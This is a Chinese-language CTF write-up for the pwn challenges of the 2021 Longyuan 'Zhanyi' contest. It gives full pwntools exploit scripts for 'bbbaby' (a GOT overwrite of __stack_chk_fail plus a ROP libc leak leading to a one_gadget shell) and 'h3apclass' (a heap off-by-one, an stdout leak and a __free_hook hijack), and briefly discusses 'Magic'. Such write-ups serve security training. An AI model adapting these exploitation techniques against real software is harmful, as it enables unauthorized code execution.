[复现]陇原战"疫"2021网络安全大赛-PWN

bbbaby

控制__stack_chk_fail，栈溢出

from pwn import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p = process('./pwn1')#, env={"LD_PRELOAD":'./libc-2.27.so'})
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn1')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def debug():
	gdb.attach(p)
	pause()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
chk_fail = elf.got['__stack_chk_fail']
rdi = 0x0000000000400a03
pl = 'a'*0x118 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x000000000040086C) + p64(0x00000000004008BB)
p.sendlineafter('choice\n','0')
p.sendlineafter('address:\n',str(chk_fail))
p.sendafter('content:\n',p64(puts_plt))
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x1000))
p.sendafter('content:\n',pl)
p.sendlineafter('choice\n','2')
libcbase = uu64(r(6)) - libc.sym['puts']
ogg = libcbase + 0x4f322
pl = 'a'*0x118 + p64(ogg)
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x1000))
p.sendafter('content:\n',pl)
p.sendlineafter('choice\n','2')

itr()

Magic

打开一看

​

熟悉，像是控制流平坦化，不是，就是控制流平坦化混淆。

清楚llvm的混淆原理，那就慢慢分析叭

很简单就一个emmm uaf就完了主要难在分析上。

由于没有2.23的环境就不打了emmm

h3apclass

ren出的题目

​

这里是存在溢出的，如果把堆块填满的话这里就可以写到下一个堆块的size位置，造成类似off by one的效果，开启了沙盒，心中默念orw优先考虑栈迁移！！！！

已经劫持了，由于16分之一跳起来太难就不搞了

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

#p = remote('39.99.242.16',10002)
p = process('./H3apClass')#, env={"LD_PRELOAD":'./libc.so.6'})
elf=ELF('./H3apClass')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def debug():
   gdb.attach(p)
   pause()

def add(idx,size,content):
	sla('4:Drop homework\n',1)
	sla('Which homework?\n',idx)
	sla('size:\n',size)
	p.sendafter('content:\n',content)

def edit(idx,content):
	sla('4:Drop homework\n',3)
	sla('Which homework?\n',idx)
	p.sendafter('content:\n',content)

def delete(idx):
	sla('4:Drop homework\n',4)
	sla('Which homework?\n',idx)

add(0,0x18,'b'*0x18)
add(1,0xf8,'bpc')
add(2,0xf8,'bpc')
add(3,0xf8,'bpc')
add(4,0xf8,'bpc')
add(5,0xf8,'bpc')
delete(5)
delete(4)
delete(3)
delete(2)
add(2,0xe8,'bpc')
add(3,0xe8,'bpc')
add(4,0xe8,'bpc')
add(5,0x18,'bpc')
pl = b'a'*0x18 + p16(0x7d1)
edit(0,pl)
delete(1)
delete(4)
delete(3)
delete(2)
add(2,0x70,'bpc')
add(3,0x70,'bpc')
add(4,0x10,'\xa0\x36')
delete(3)
delete(2)
add(2,0xf8,'bpc')
add(3,0xf8,p64(0xfbad1887)+p64(0)*3+b'\x00')
libcbase = uu64((ru('\x7f')[-5:]+b'\x7f')) - 0x1EC980
leak('libcbase',libcbase)
free = libcbase + libc.sym['__free_hook']
pl = b'a'*0x18 + p8(0x81)
edit(0,pl)
delete(0)
delete(1)
delete(5)
delete(4)
edit(2,p64(free)[:6])
add(0,0x18,'bpc')
add(1,0x18,'bpc')
ogg = libcbase + 0x154DD0
add(4,0x18,p64(ogg))

debug()

p.interactive()